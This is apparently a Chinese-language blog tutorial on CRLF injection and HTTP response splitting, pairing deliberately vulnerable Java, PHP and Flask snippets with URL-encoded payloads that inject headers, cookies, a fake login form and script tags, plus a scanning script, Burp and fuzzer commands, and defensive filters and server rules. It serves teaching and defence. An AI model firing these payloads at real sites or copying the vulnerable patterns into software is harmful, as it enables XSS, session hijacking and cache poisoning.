CRLF注入攻击详解

一、什么是CRLF注入?

CRLF 代表回车(Carriage Return,\r)换行(Line Feed,\n),是文本文件中用于表示行结束的字符序列。

CRLF注入(或HTTP响应拆分)是一种攻击技术,攻击者通过向HTTP头中注入CRLF字符序列,来操纵HTTP响应或执行其他恶意操作。

二、CRLF基础知识

1. 字符编码

text

复制代码
CR (回车) = \r = 0x0D = %0D
LF (换行) = \n = 0x0A = %0A
CRLF = \r\n = %0D%0A

2. HTTP协议中的使用

http

复制代码
# HTTP请求示例
GET /index.html HTTP/1.1\r\n      # 请求行
Host: example.com\r\n              # 请求头
User-Agent: Mozilla\r\n
\r\n                               # 空行表示头部结束
# 请求体(如果有)

# HTTP响应示例
HTTP/1.1 200 OK\r\n                # 状态行
Content-Type: text/html\r\n        # 响应头
Content-Length: 123\r\n
\r\n                               # 空行表示头部结束
<html>...</html>                   # 响应体

三、攻击原理

1. 基本原理

当应用程序直接将用户输入插入到HTTP响应头中,且未过滤CRLF字符时,攻击者可以:

  • 注入额外的HTTP头

  • 拆分响应,创建多个响应

  • 注入响应体内容

2. 攻击流程图

text

复制代码
用户输入 → 未经处理的输入 → 插入HTTP头 → 响应被操纵
         ↓
     注入CRLF → 创建新行 → 控制响应内容

四、攻击类型和示例

1. HTTP响应拆分(Response Splitting)

漏洞代码:

java

复制代码
// Java示例 - 不安全的重定向
String location = request.getParameter("redirect");
response.sendRedirect(location);  // 直接使用用户输入

攻击载荷:

text

复制代码
# 攻击者输入
http://evil.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('XSS')</script>

# URL解码后
http://evil.com\r\n
Content-Length: 0\r\n
\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
\r\n
<script>alert('XSS')</script>

生成的响应:

http

复制代码
HTTP/1.1 302 Found
Location: http://evil.com
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert('XSS')</script>

2. Set-Cookie注入

漏洞代码:

php

复制代码
// PHP示例 - 不安全的Cookie设置
$theme = $_GET['theme'];
setcookie("user_theme", $theme);  // 直接使用用户输入

攻击载荷:

text

复制代码
# 攻击者输入
dark%0d%0aSet-Cookie:%20sessionid=hacked

# 响应头变为
Set-Cookie: user_theme=dark
Set-Cookie: sessionid=hacked

3. XSS via CRLF(最危险)

漏洞代码:

python

复制代码
# Python Flask示例 - 不安全的头设置
from flask import Flask, Response
app = Flask(__name__)

@app.route('/header')
def set_header():
    header_value = request.args.get('value', '')
    response = Response("Hello")
    response.headers['X-Custom-Header'] = header_value  # 直接使用
    return response

攻击载荷:

text

复制代码
# 注入XSS
value=test%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(document.domain)</script>

# 响应变为
HTTP/1.1 200 OK
X-Custom-Header: test
Content-Type: text/html

<script>alert(document.domain)</script>

4. 缓存投毒(Cache Poisoning)

攻击示例:

text

复制代码
# 注入缓存控制头
http://example.com/page?lang=en%0d%0aCache-Control:%20max-age=31536000

# 响应头
HTTP/1.1 200 OK
Content-Language: en
Cache-Control: max-age=31536000
...

五、实际攻击场景

场景1:登录重定向漏洞

应用程序代码:

php

复制代码
// 登录后的重定向
$redirect = $_GET['return'];
header("Location: " . $redirect);

攻击:

http

复制代码
GET /login.php?return=/dashboard%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<h1>Fake%20Login</h1><form>...

# 用户看到的响应
HTTP/1.1 302 Found
Location: /dashboard
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<h1>Fake Login</h1><form>...

场景2:文件下载漏洞

漏洞代码:

java

复制代码
// 文件下载功能
String filename = request.getParameter("file");
response.setHeader("Content-Disposition", 
                  "attachment; filename=\"" + filename + "\"");

攻击载荷:

text

复制代码
file=report.pdf%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>stealCookies()</script>

# 响应头
Content-Disposition: attachment; filename="report.pdf"
Content-Type: text/html

<script>stealCookies()</script>

六、高级攻击技术

1. HTTP请求走私结合CRLF

http

复制代码
POST /api HTTP/1.1
Host: target.com
Content-Length: 56
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Injected: true%0d%0aX-Forwarded-For:%20127.0.0.1

2. Web缓存欺骗

http

复制代码
GET /profile?theme=dark%0d%0aCache-Control:%20public%0d%0aVary:%20User-Agent HTTP/1.1
Host: example.com
User-Agent: Mozilla

# 缓存服务器可能缓存带有用户特定数据的响应

3. 响应队列污染

python

复制代码
# 攻击者发送多个请求,每个都包含CRLF注入
请求1: /?inject=%0d%0aHeader1:%20value
请求2: /?inject=%0d%0aHeader2:%20value
请求3: /?inject=%0d%0aXSS:%20<script>...

七、防御措施

1. 输入验证和过滤

python

复制代码
# Python示例 - 过滤CRLF字符
def sanitize_header_value(value):
    """清理HTTP头值"""
    if not value:
        return value
    
    # 移除CRLF字符
    value = value.replace('\r', '').replace('\n', '')
    
    # 移除编码的CRLF
    value = value.replace('%0d', '').replace('%0a', '')
    value = value.replace('%0D', '').replace('%0A', '')
    
    # 限制长度
    if len(value) > 1024:
        raise ValueError("Header value too long")
    
    return value

# Flask安全示例
from flask import escape

@app.route('/safe-header')
def safe_header():
    header_value = request.args.get('value', '')
    
    # 使用安全函数
    safe_value = sanitize_header_value(header_value)
    
    response = Response("OK")
    response.headers['X-Custom'] = safe_value
    return response

2. 使用安全的API

java

复制代码
// Java示例 - 使用安全的方法
// 不安全的
response.sendRedirect(request.getParameter("url"));

// 安全的 - 验证URL
public static String validateRedirectUrl(String url) {
    // 白名单验证
    List<String> allowedDomains = Arrays.asList("example.com", "trusted.com");
    
    try {
        URI uri = new URI(url);
        String host = uri.getHost();
        
        if (host != null && allowedDomains.contains(host)) {
            return url;
        }
    } catch (URISyntaxException e) {
        // 记录日志
    }
    
    // 默认重定向
    return "/dashboard";
}

3. 编码输出

php

复制代码
// PHP示例 - 安全设置Cookie
$theme = $_GET['theme'];

// 移除换行符
$theme = str_replace(array("\r", "\n"), '', $theme);

// 使用htmlspecialchars防止XSS
$safe_theme = htmlspecialchars($theme, ENT_QUOTES, 'UTF-8');

setcookie("theme", $safe_theme, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);

4. Web服务器配置

nginx

复制代码
# Nginx配置 - 防止CRLF注入
server {
    location / {
        # 拒绝包含CRLF的请求
        if ($request_uri ~* "%0a|%0d") {
            return 403;
        }
        
        # 限制头大小
        client_header_buffer_size 1k;
        large_client_header_buffers 4 8k;
        
        # 添加安全头
        add_header X-Content-Type-Options nosniff;
        add_header X-Frame-Options DENY;
        add_header X-XSS-Protection "1; mode=block";
    }
}

apache

复制代码
# Apache .htaccess配置
<IfModule mod_headers.c>
    # 过滤CRLF
    SetEnvIfNoCase Request_URI "%0a" crlf_injection
    SetEnvIfNoCase Request_URI "%0d" crlf_injection
    
    # 拒绝请求
    Deny from env=crlf_injection
    
    # 安全头
    Header always set X-Content-Type-Options nosniff
    Header always set X-Frame-Options DENY
</IfModule>

5. 应用程序框架防护

python

复制代码
# Django中间件示例
class CRLFProtectionMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response
    
    def __call__(self, request):
        # 检查GET参数
        for key, value in request.GET.items():
            if '\r' in value or '\n' in value:
                return HttpResponseForbidden("Invalid input")
        
        # 检查POST参数
        for key, value in request.POST.items():
            if '\r' in value or '\n' in value:
                return HttpResponseForbidden("Invalid input")
        
        response = self.get_response(request)
        
        # 确保响应头安全
        for header, value in response.items():
            if '\r' in value or '\n' in value:
                del response[header]
                response[header] = value.replace('\r', '').replace('\n', '')
        
        return response

# 在settings.py中添加
MIDDLEWARE = [
    'path.to.CRLFProtectionMiddleware',
    # ... 其他中间件
]

八、检测和测试

1. 手动测试

bash

复制代码
# 使用curl测试
curl -v "http://target.com/page?param=test%0d%0aInjected-Header:%20value"

# 使用telnet手动发送
telnet target.com 80
GET /?param=test%0d%0aHeader:%20injected HTTP/1.1
Host: target.com

# 查看响应头是否包含注入的内容

2. 自动化测试脚本

python

复制代码
import requests
from urllib.parse import quote

def test_crlf_injection(url):
    """测试CRLF注入漏洞"""
    
    test_cases = [
        # 基本CRLF测试
        "%0d%0aInjected-Header: test",
        "%0aInjected-Header: test",
        "%0dInjected-Header: test",
        
        # 响应拆分测试
        "%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>",
        
        # XSS via CRLF
        "%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>",
        
        # Cookie注入
        "%0d%0aSet-Cookie: malicious=true",
    ]
    
    vulnerable = False
    
    for payload in test_cases:
        # 测试URL参数
        test_url = f"{url}?input={quote(payload)}"
        
        try:
            response = requests.get(test_url, timeout=5)
            
            # 检查响应头
            for header, value in response.headers.items():
                if "Injected-Header" in header or "malicious" in value:
                    print(f"[!] CRLF注入发现于头: {header}")
                    vulnerable = True
            
            # 检查响应体
            if "<script>alert" in response.text:
                print(f"[!] XSS via CRLF发现")
                vulnerable = True
                
        except Exception as e:
            print(f"[?] 测试 {payload} 时出错: {e}")
    
    return vulnerable

# 测试多个端点
endpoints = [
    "/login?redirect=",
    "/download?filename=",
    "/api/set-header?value=",
    "/profile?theme="
]

3. Burp Suite测试

http

复制代码
# 使用Burp Intruder测试
GET /redirect?url=§payload§ HTTP/1.1
Host: target.com

# Payloads列表
§%0d%0aInjected: header§
§%0d%0a%0d%0aHTTP/1.1 200 OK§
§%0d%0aSet-Cookie: malicious=1§
§%0d%0aLocation: javascript:alert(1)§

九、真实案例分析

案例1:GitLab CRLF注入漏洞(CVE-2020-10960)

漏洞描述: GitLab的Web IDE功能中存在CRLF注入,允许攻击者执行XSS。

漏洞代码:

javascript

复制代码
// 简化版本
const branchName = userInput;  // 用户控制的输入
const url = `/project/-/ide/commit/${branchName}`;
window.location = url;

攻击: 攻击者创建包含CRLF的分支名,导致XSS执行。

案例2:Twitter CRLF漏洞

影响: 允许攻击者在Twitter图像URL中注入头部,可能用于缓存投毒。

Payload:

text

复制代码
https://pbs.twimg.com/media/IMAGE.jpg%0d%0aX-Forwarded-Host: evil.com

十、最佳实践总结

开发人员:

  1. 永远不要信任用户输入

  2. 使用框架的安全函数设置HTTP头

  3. 验证和过滤所有用户提供的头值

  4. 使用白名单验证重定向URL

运维人员:

  1. 配置WAF检测CRLF注入

  2. 定期更新Web服务器和应用程序

  3. 实施监控检测异常请求

测试人员:

  1. 自动化扫描CRLF漏洞

  2. 手动验证关键功能点

  3. 报告发现的漏洞并跟踪修复

十一、工具推荐

  1. OWASP ZAP - 自动CRLF注入扫描

  2. Burp Suite - 手动和自动测试

  3. CRLFuzz - 专门的CRLF注入工具

  4. ffuf - 模糊测试工具,可用于CRLF测试

bash

复制代码
# 使用CRLFuzz
crlfuzz -u "http://target.com/page?param=FUZZ" -o results.txt

# 使用ffuf
ffuf -u "http://target.com/page?param=FUZZ" \
     -w crlf-payloads.txt \
     -H "User-Agent: Mozilla" \
     -mc all

通过理解CRLF注入的原理、攻击方式和防御措施,开发人员和测试人员可以更好地保护Web应用程序免受此类攻击。

相关推荐
heze094 小时前
sqli-labs-Less-12自动化注入方法
mysql·网络安全·自动化
heze094 小时前
sqli-labs-Less-13自动化注入方法
mysql·网络安全·自动化
大方子5 小时前
交易所钱包划转存在的逻辑漏洞1
网络安全·好靶场
浩浩测试一下5 小时前
高阶免杀技术掌握概览
汇编·安全·web安全·网络安全·系统安全·安全架构
聚铭网络6 小时前
聚铭安全管家平台可视化大屏,打造安全运营的“驾驶舱”与“作战图”
人工智能·网络安全
咆哮的黑化肥7 小时前
Web 文件上传漏洞(+Upload-labs靶场练习)
web安全·网络安全
Whoami!7 小时前
❿⁄₁₁ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击实践 ➱ NTLM哈希传递攻击
网络安全·信息安全·哈希算法·密码破解·ntlm哈希传递
咆哮的黑化肥8 小时前
跨站脚本攻击XSS入门(+DVWA、Pikachu靶场练习)
网络安全·xss
能年玲奈喝榴莲牛奶1 天前
安全服务-应急响应
web安全·网络安全·应急响应·安全服务